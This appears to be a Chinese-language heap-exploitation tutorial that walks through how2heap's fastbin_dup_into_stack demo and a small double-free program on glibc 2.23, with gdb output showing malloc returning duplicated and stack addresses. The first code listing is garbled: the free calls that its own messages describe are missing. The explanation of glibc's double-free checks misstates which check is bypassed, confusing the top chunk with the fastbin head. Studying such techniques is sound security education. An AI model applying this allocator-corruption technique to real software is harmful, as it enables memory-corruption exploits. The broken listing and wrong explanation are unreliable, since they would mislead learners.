int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
调试阶段:
1 2 3 4 5 6 7 8 9 10 11 12
test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack gdb-peda$ b 14 Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14. gdb-peda$ b 23 Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23. gdb-peda$ b 29 Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29. gdb-peda$ b 32 Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32. gdb-peda$ b 36 Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36. gdb-peda$ run
/* Lightweight tests: check whether the block is already the top block. */ // 当前free的chunk不能是top chunk if (__glibc_unlikely(p == av->top)) { errstr = "double free or corruption (top)"; goto errout; } // 当前要free的chunk的使用标记没有被标记,double free /* Or whether the block is actually not marked used. */ if (__glibc_unlikely(!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout; }
根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作
接下来的内容请根据如下代码进行调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> int main() { int *a = malloc(8); int *b = malloc(8); free(a); free(b); free(a); int *c = malloc(8); int *d = malloc(8); int *e = malloc(8); int *f = malloc(8); return 0; }
1 2 3 4
gcc -g heap2.c -o heap2 gdb heap2 b 13 run
我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果
直接运行到第13行,并且完成接下来的四次malloc操作:
1 2 3 4 5 6 7 8 9 10 11 12 13
───────────────────────────────[ SOURCE (CODE) ]──────────────────────────────── In file: /home/giantbranch/Desktop/class/heap2.c 8 int *a = malloc(8); 9 int *b = malloc(8); 10 free(a); 11 free(b); 12 free(a); ► 13 int *c = malloc(8); 14 int *d = malloc(8); 15 int *e = malloc(8); 16 int *f = malloc(8); 17 return 0; 18 }
当我们运行到第17行时再查看如下变量:
1 2 3 4 5 6 7 8
gdb-peda$ p c $5 = (int *) 0x602010 gdb-peda$ p d $6 = (int *) 0x602030 gdb-peda$ p e $7 = (int *) 0x602010 gdb-peda$ p f $8 = (int *) 0x602030